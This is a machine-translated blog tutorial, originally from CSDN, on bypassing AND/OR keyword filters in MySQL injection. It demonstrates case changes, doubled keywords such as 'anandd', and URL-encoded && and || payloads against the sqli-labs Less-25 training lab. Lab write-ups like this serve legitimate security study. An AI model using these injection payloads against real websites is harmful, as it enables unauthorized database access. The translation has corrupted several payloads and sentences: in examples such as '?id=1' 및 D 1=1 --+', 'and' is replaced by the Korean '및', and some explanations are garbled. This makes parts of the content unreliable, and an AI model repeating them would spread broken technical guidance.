MySQL 및 및 또는 필터링

And 및 or의 역할

AND는 두 조건이 동시에 충족됨을 의미합니다. 예를 들어, 문자/숫자를 테스트하기 위해 and 1=1 및 and 1=2 문이 사용됩니다.

또는 조건을 충족하기에 충분합니다. 예를 들어 or 문은 오류를 보고하고 주입할 때 사용됩니다.

바이패스 방식

1. 사용 사례 우회

예: ?id=1' 및 D 1=1 --+

2. 덮어쓰기 우회

예: ?id=1' an d 1=1 --+

3. and를 &&로 바꾸고 or를 ||로 바꿉니다.

예: ?id=1' && 1=1 --+

            ?id=1' || 1=1 --+

때때로 && 및 ||로 인식할 수 없으므로 url로 트랜스코딩해야 합니다.

예를 들어?id=1' && 1=1 --+ 트랜스코딩 후?id=1' %26%26 1=1 --+

         ?id=1' || 1=1 --+ 트랜스코딩 후?id =1'  %7C%7C 1=1 --+

 

데모 사례

sqli-labs-master/Less-25

소스 코드 분석

 1. preg_replace() 함수를 사용하여 $id 변수의 매개변수를 확인하고 이 매개변수에 '/or/' 문자가 나타나면 i를 사용하여 일치시키기 위해 소문자로 변환합니다. 입력은 or 또는 OR 이고 결국 or가 됩니다. 그런 다음 비어있는 것으로 교체하십시오.

2. preg_replace() 함수를 사용하여 $id 변수의 매개변수를 확인하고 이 매개변수에 '/AND/'라는 문자열이 나타나면 i를 사용하여 일치시키기 위해 소문자로 변환합니다. 당신이 입력한 것은 AND 또는 그리고 결국 and가 될 것입니다. 그런 다음 비어있는 것으로 교체하십시오.

 

매개변수를 입력하세요?id=1

일반 페이지

 

닫는 방법을 확인하려면 매개변수 뒤에 '작은따옴표를 던집니다.

페이지 에코 

''1'' 제한 0,1' 

'1 ' '제한 0,1

빨간색 부분은 우리의 입력이며 닫는 방법은 작은따옴표로 결정됩니다.

URL :?id=1' 및 1=1 --+

페이지에서 오류를 보고하고 1행에서 '1=1 -- 'LIMIT 0,1'을 에코합니다. and we enter가 비어 있음으로 대체된 것을 볼 수 있습니다.

복제를 사용하여 우회

url:?id=1' anandd 1=1 --+

일반 페이지

 

url:?id=1' anandd 1=2 --+

페이지에서 오류를 보고했습니다. 성공적으로 우회

우리가 입력한 명령문이 데이터베이스로 가져와 실행되었음을 설명 

 

&&를 사용하여 우회 

페이지에서 오류를 보고했고 입력한 &&를 인식하지 못했으며 URL 인코딩 변환을 수행했습니다.

 

url: ?id=1' %26%26 1=1 --+

일반 페이지

URL: ?id=1' %26%26 1=2 --+

페이지 오류가 성공적으로 우회되었습니다. 

Supongo que te gusta

Origin blog.csdn.net/m0_72755466/article/details/130061894
Recomendado
Clasificación